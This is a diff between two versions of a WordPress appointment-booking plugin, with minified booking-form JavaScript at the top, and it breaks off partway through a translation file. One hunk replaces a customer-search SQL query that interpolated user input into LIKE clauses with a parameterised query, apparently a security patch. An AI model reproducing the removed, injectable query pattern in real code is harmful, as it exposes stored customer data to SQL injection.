s=e[t].attr(\"data-default\");s?this.setProperty(t,s):this.resetProperty(t)}this.preventReact=!1,this.isActive&&this.react()}isValidInput(){return 0!=this.serviceId}updateCategorySchema(){const e=this.availabilityService.getAvailableServiceCategories();this.schema.category.options=Object.keys(e)}updateServiceSchema(){const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.schema.serviceId.options=Object.keys(e).map(j)}updateEmployeeSchema(){const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId);this.schema.employeeId.options=Object.keys(e).map(j)}updateLocationSchema(){const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId);this.schema.locationId.options=Object.keys(e).map(j)}isValidCategoryBySchema(e){return this.schema.category.options.includes(e)}isValidServiceBySchema(e){return this.schema.serviceId.options.includes(e)}isValidLocationBySchema(e){return this.schema.locationId.options.includes(e)}isValidEmployeeBySchema(e){return this.schema.employeeId.options.includes(e)}afterUpdate(e,t,s){if(this.updateCategorySchema(),this.updateServiceSchema(),this.updateEmployeeSchema(),this.updateLocationSchema(),\"category\"===e){let e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.serviceId in e||(this.resetProperty(\"serviceId\"),this.resetProperty(\"employeeId\"),this.resetProperty(\"locationId\"))}}react(){super.react(),this.$categoriesSelect.val(this.category||\"\"),this.$servicesSelect.val(this.serviceId||\"\"),this.$employeesSelect.val(this.employeeId),this.$locationsSelect.val(this.locationId),this.$categoriesSelect.toggleClass(\"mpa-selected\",\"\"!=this.category),this.$servicesSelect.toggleClass(\"mpa-selected\",0!=this.serviceId),this.$employeesSelect.toggleClass(\"mpa-selected\",0!=this.employeeId),this.$locationsSelect.toggleClass(\"mpa-selected\",0!=this.locationId),this.renderCategorySelect(),this.renderServiceSelect(),this.renderEmployeeSelect(),this.renderLocationSelect(),this.$buttonNext.prop(\"disabled\",!1)}renderCategorySelect(){this.preventUpdate=!0;const e=Object.values(this.availabilityService.getServiceCategoriesTree()),t=this.availabilityService.categoryIndexes.map(String);let s;const i=parseInt(this.serviceId,10);if(i>0){const t=this.availabilityService.getServiceCategories(i);s=ne(re(e,Object.keys(t)))}else s=null;const a=oe(e,t,s),r=this.category||\"\";we(this.$categoriesSelect,{\"\":this.unselectedOptionText},a,r),this.preventUpdate=!1}renderServiceSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId),t=this.availabilityService.serviceIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.serviceId?\"\":String(this.serviceId);we(this.$servicesSelect,{\"\":this.unselectedServiceText},t,s),this.preventUpdate=!1}renderEmployeeSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId),t=this.availabilityService.employeeIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.employeeId?\"0\":String(this.employeeId);we(this.$employeesSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}renderLocationSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId),t=this.availabilityService.locationIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.locationId?\"0\":String(this.locationId);we(this.$locationsSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}show(){this.$servicesSelect.prop(\"required\",!0),super.show()}hide(){super.hide(),this.$servicesSelect.prop(\"required\",!1)}enable(){super.enable(),this.$selects.prop(\"disabled\",!1)}disable(){super.disable(),this.$selects.prop(\"disabled\",!0)}submitForm(e){this.isActive&&!this.isValidInput()||e.preventDefault()}maybeSubmit(){let e=this.cart.getActiveItem();if(null===e)return console.error(\"Unable to get active cart item in StepServiceForm.maybeSubmit().\");if(e.setService(this.availabilityService.getService(this.serviceId,!0,(()=>{document.dispatchEvent(new CustomEvent(\"mpa_view_item\",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}}))}))),e.setServiceCategories(this.availabilityService.getServiceCategories(this.serviceId)),0!==this.employeeId?e.setEmployee(this.availabilityService.getEmployee(this.employeeId)):e.setAvailableEmployees(this.availabilityService.filterAvailableEmployees(this.serviceId,this.locationId,\"entities\")),0!==this.locationId)e.setLocation(this.availabilityService.getLocation(this.locationId));else{let t=this.employeeId||e.getAvailableEmployeeIds();e.setAvailableLocations(this.availabilityService.filterAvailableLocations(this.serviceId,t,\"entities\"))}}}class Qe{constructor(e){this.$element=e,this.$message=this.$element.children(\".mpa-message\"),this.cart=new L,this.steps=new ce(this.cart),this.load()}setupSteps(){this.steps.addStep(new ze(this.$element.find(\".mpa-booking-step-service-form\"),this.cart)).addStep(new Ge(this.$element.find(\".mpa-booking-step-period\"),this.cart)).addStep(new $e(this.$element.find(\".mpa-booking-step-cart\"),this.cart)).addStep(new De(this.$element.find(\".mpa-booking-step-checkout\"),this.cart)),m().settings().isPaymentsEnabled()&&this.steps.addStep(new We(this.$element.find(\".mpa-booking-step-payment\"),this.cart)),this.steps.addStep(new ue(this.$element.find(\".mpa-booking-step-booking\"),this.cart)),this.steps.mount(this.$element)}load(){this.cart.createItem();let e=new he;Promise.all([e.load(),m().settings().ready()]).finally((()=>{this.setupSteps(),this.steps.getStep(\"service-form\").setAvailabilityService(e),this.steps.getStep(\"period\").setAvailabilityService(e),this.show(),e.isEmpty()?(this.$message.html(u(\"Sorry, there are no services, employees or locations to book.\",\"motopress-appointment\")),this.$message.removeClass(\"mpa-hide\")):this.steps.goToNextStep()}))}show(){this.$element.addClass(\"mpa-loaded\")}}class Ye extends Qe{constructor(e){super(e.children(\".widget-body\").first())}}jQuery(\".appointment-form-shortcode\").each(((e,t)=>{new Qe(jQuery(t))})),jQuery(\".appointment-form-widget\").each(((e,t)=>{new Ye(jQuery(t))})),jQuery(document).ready((function(){m().settings().ready().then((()=>{jQuery(\".mpa-booking-details-section [data-reservation-id]\").each(((e,t)=>{let s=jQuery(t);const i=s.data(\"reservation-id\"),a=new Date(s.data(\"start-time\")),r=new Date(s.data(\"end-time\")),n=s.data(\"service-name\"),o=s.data(\"employee-name\")+\". \"+s.data(\"quantity-label\")+\": \"+s.data(\"capacity\")+\".\",l=s.data(\"location-name\"),h=de.createICSURL(i,a,r,n,o,l),c=de.createGoogleCalendarURL(a,r,n,o,l),p=de.createYahooCalendarURL(a,r,n,o,l);s.find(\".mpa-add-to-calendar-link--google\").attr(\"href\",c),s.find(\".mpa-add-to-calendar-link--apple\").attr(\"href\",h),s.find(\".mpa-add-to-calendar-link--outlook\").attr(\"href\",h),s.find(\".mpa-add-to-calendar-link--yahoo\").attr(\"href\",p)}))}))}))}(wp.date,mpaData,intlTelInput)}();\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fincludes\u002Fadmin-pages\u002Fedit\u002FEditBookingPage.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fincludes\u002Fadmin-pages\u002Fedit\u002FEditBookingPage.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fincludes\u002Fadmin-pages\u002Fedit\u002FEditBookingPage.php\t2023-05-04 13:20:22.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fincludes\u002Fadmin-pages\u002Fedit\u002FEditBookingPage.php\t2026-06-30 15:16:08.000000000 +0000\n@@ -49,4 +49,21 @@\n \t\t\tdo_action( 'mpa_booking_placed_by_admin', $booking );\n \t\t}\n \t}\n+\n+\t\u002F**\n+\t * @access protected\n+\t *\u002F\n+\tpublic function enqueueScripts() {\n+\t\t\u002F\u002F The booking editor reuses cart code that expects mpaData.nonces\n+\t\tmpa_assets()->addLocalizeData(\n+\t\t\t'mpa-edit-post',\n+\t\t\t'nonces',\n+\t\t\tarray(\n+\t\t\t\t'mpa_create_booking' => wp_create_nonce( 'mpa_create_booking' ),\n+\t\t\t\t'mpa_create_drafts'  => wp_create_nonce( 'mpa_create_drafts' ),\n+\t\t\t)\n+\t\t);\n+\n+\t\tparent::enqueueScripts();\n+\t}\n }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fincludes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fincludes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fincludes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php\t2026-06-08 10:27:08.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fincludes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php\t2026-06-30 15:16:08.000000000 +0000\n@@ -307,8 +307,16 @@\n \n \t\t\t\t\t\t\t\t$searchLikeParam = '%' . $wpdb->esc_like( $search_param ) . '%';\n \n-\t\t\t\t\t\t\t\t$subquery = \"(SELECT id FROM {$wpdb->prefix}mpa_customers AS c WHERE c.name LIKE '{$searchLikeParam}' OR c.email LIKE '{$searchLikeParam}' OR c.phone LIKE '{$searchLikeParam}')\";\n-\t\t\t\t\t\t\t\t$where   .= \" OR ({$wpdb->prefix}postmeta.meta_key = '_mpa_customer_id' AND {$wpdb->prefix}postmeta.meta_value IN ({$subquery}))\";\n+\t\t\t\t\t\t\t\t$where .= $wpdb->prepare(\n+\t\t\t\t\t\t\t\t\t\" OR ({$wpdb->postmeta}.meta_key = %s AND {$wpdb->postmeta}.meta_value IN (\n+\t\t\t\t\t\t\t\t\t\tSELECT id FROM {$wpdb->prefix}mpa_customers AS c\n+\t\t\t\t\t\t\t\t\t\tWHERE c.name LIKE %s OR c.email LIKE %s OR c.phone LIKE %s\n+\t\t\t\t\t\t\t\t\t))\",\n+\t\t\t\t\t\t\t\t\t'_mpa_customer_id',\n+\t\t\t\t\t\t\t\t\t$searchLikeParam,\n+\t\t\t\t\t\t\t\t\t$searchLikeParam,\n+\t\t\t\t\t\t\t\t\t$searchLikeParam\n+\t\t\t\t\t\t\t\t);\n \t\t\t\t\t\t\t}\n \n \t\t\t\t\t\t\treturn $where;\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fincludes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fincludes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fincludes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php\t2024-07-29 11:55:02.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fincludes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php\t2026-06-30 15:16:08.000000000 +0000\n@@ -41,8 +41,9 @@\n \n \t\treturn array(\n \t\t\t'total_price'       => array(\n-\t\t\t\t'type'  => 'price',\n-\t\t\t\t'label' => esc_html__( 'Total Price', 'motopress-appointment' ),\n+\t\t\t\t'type'     => 'price',\n+\t\t\t\t'label'    => esc_html__( 'Total Price', 'motopress-appointment' ),\n+\t\t\t\t'disabled' => true,\n \t\t\t),\n \t\t\t'coupon_id'         => array(\n \t\t\t\t'type'    => 'select',\nBinary files \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-de_DE.mo and \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-de_DE.mo differ\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-de_DE.po \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-de_DE.po\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-de_DE.po\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-de_DE.po\t2026-06-30 15:16:08.000000000 +0000\n@@ -176,16 +176,6 @@\n msgid \"Help\"\n msgstr \"Hilfe\"\n \n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:199\n-msgid \"Settings saved.\"\n-msgstr \"Einstellungen gespeichert.\"\n-\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:265\n-msgid \"Save Changes\"\n-msgstr \"Änderungen speichern\"\n-\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:400\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:409\n #: includes\u002Felementor\u002Fwidgets\u002FAppointmentFormWidget.php:71\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeAdditionalInfoWidget.php:35\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContactsWidget.php:35\n@@ -202,18 +192,18 @@\n #: includes\u002Fmetaboxes\u002Fnotification\u002FNotificationSettingsMetabox.php:26\n #: templates\u002Fprivate\u002Fpages\u002Fwizard.php:12\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3245\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11506\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11801\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12087\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12405\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12686\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12809\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12932\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13055\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13178\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13301\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13424\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13547\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11507\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11802\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12088\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12406\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12687\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12810\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12933\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13056\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13179\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13302\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13425\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13548\n msgid \"Settings\"\n msgstr \"Einstellungen\"\n \n@@ -237,27 +227,27 @@\n msgid \"Filtered bookings for customer\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:486\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:494\n msgid \"All Services\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:511\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:519\n msgid \"All Employees\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:536\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:544\n msgid \"All Locations\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:573\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:581\n msgid \"Export\"\n msgstr \"Exportieren\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:574\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:582\n msgid \"Cancel Export\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:589\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:597\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManagePaymentsPage.php:71\n #: includes\u002Fcrons\u002FExportBookingsCron.php:347\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeAdditionalInfoModule.php:27\n@@ -276,18 +266,18 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeServicesListWidget.php:43\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:44\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12689\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12812\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12935\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13058\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13181\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13304\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13427\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13550\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12690\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12813\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12936\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13059\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13182\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13305\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13428\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13551\n msgid \"ID\"\n msgstr \"ID\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:590\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:598\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageEmployeesPage.php:149\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:97\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:113\n@@ -297,11 +287,11 @@\n #: includes\u002Fpost-types\u002FServicePostType.php:117\n #: assets\u002Fjs\u002Fanalytics-page.js:33399\n #: assets\u002Fjs\u002Fcalendar-page.js:45376\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12464\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12465\n msgid \"Services\"\n msgstr \"Dienstleistungen\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:590\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:598\n #: includes\u002Fcrons\u002FExportBookingsCron.php:354\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:64\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:126\n@@ -321,14 +311,14 @@\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:33\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-service-form.php:102\n #: assets\u002Fjs\u002Fcalendar-page.js:38165\n-#: assets\u002Fjs\u002Fedit-post.js:9005\n+#: assets\u002Fjs\u002Fedit-post.js:9006\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3256\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3303\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2976\n msgid \"Service\"\n msgstr \"Service\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:591\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:599\n #: includes\u002Fcrons\u002FExportBookingsCron.php:357\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:37\n #: templates\u002Fshortcodes\u002Ftemplate-parts\u002Fbooking-details.php:99\n@@ -337,13 +327,13 @@\n msgid \"Date\"\n msgstr \"Datum\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:592\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:600\n #: includes\u002Fcrons\u002FExportBookingsCron.php:358\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:38\n msgid \"Time\"\n msgstr \"Uhrzeit\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:593\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:601\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:87\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:103\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:104\n@@ -356,12 +346,12 @@\n #: includes\u002Fpost-types\u002FEmployeePostType.php:52\n #: assets\u002Fjs\u002Fanalytics-page.js:33437\n #: assets\u002Fjs\u002Fcalendar-page.js:45414\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11557\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12473\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12474\n msgid \"Employees\"\n msgstr \"Mitarbeiter\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:593\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:601\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:210\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageSchedulesPage.php:134\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:140\n@@ -391,7 +381,7 @@\n msgid \"Employee\"\n msgstr \"Mitarbeiter\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:594\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:602\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageServicesPage.php:23\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:159\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:193\n@@ -403,11 +393,11 @@\n #: templates\u002Fservice\u002Fprice.php:19\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:36\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:64\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12559\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12560\n msgid \"Price\"\n msgstr \"Preis\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:595\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:603\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:156\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManagePaymentsPage.php:72\n #: includes\u002Ffields\u002Fcomplex\u002FLicenseSettingsField.php:79\n@@ -417,7 +407,7 @@\n msgid \"Status\"\n msgstr \"Status\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:596\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:604\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:214\n #: includes\u002Flist-tables\u002Femails\u002FCustomerEmailsListTable.php:32\n #: includes\u002Fmetaboxes\u002Fnotification\u002FNotificationSettingsMetabox.php:86\n@@ -427,7 +417,7 @@\n msgstr \"Kunde\"\n \n #. Translators: %s: Paid amount.\n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:695\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:703\n #, php-format\n msgid \"Paid: %s\"\n msgstr \"Bezahlt: %s\"\n@@ -473,10 +463,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:202\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:67\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:62\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11634\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11905\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12214\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12562\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11635\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11906\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12215\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12563\n msgid \"Order\"\n msgstr \"Reihenfolge\"\n \n@@ -845,7 +835,7 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FAppointmentFormLabelsMetabox.php:68\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:94\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:191\n-#: assets\u002Fjs\u002Fedit-post.js:9055\n+#: assets\u002Fjs\u002Fedit-post.js:9056\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3333\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:3069\n msgid \"— Select —\"\n@@ -1232,7 +1222,7 @@\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:32\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:32\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:139\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11358\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11359\n msgid \"Appointment Form\"\n msgstr \"Termin-Formular\"\n \n@@ -1480,7 +1470,7 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FAppointmentFormLabelsMetabox.php:76\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:100\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:198\n-#: assets\u002Fjs\u002Fedit-post.js:9057\n+#: assets\u002Fjs\u002Fedit-post.js:9058\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3202\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3204\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3205\n@@ -1494,7 +1484,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:146\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:79\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:91\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12492\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12493\n msgid \"Comma-separated slugs or IDs of tags that will be shown.\"\n msgstr \"Durch Kommas getrennte Slugs oder IDs von Tags, die gezeigt werden.\"\n \n@@ -1571,7 +1561,7 @@\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeAdditionalInfoModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeAdditionalInfoWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeAdditionalInfoShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13604\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13605\n msgid \"Employee Additional Information\"\n msgstr \"Zusatzinformationen des Mitarbeiters\"\n \n@@ -1592,49 +1582,49 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:47\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:47\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FAbstractSingleEmployeeShortcode.php:25\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12690\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12813\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12936\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13059\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13182\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13305\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13428\n-#: 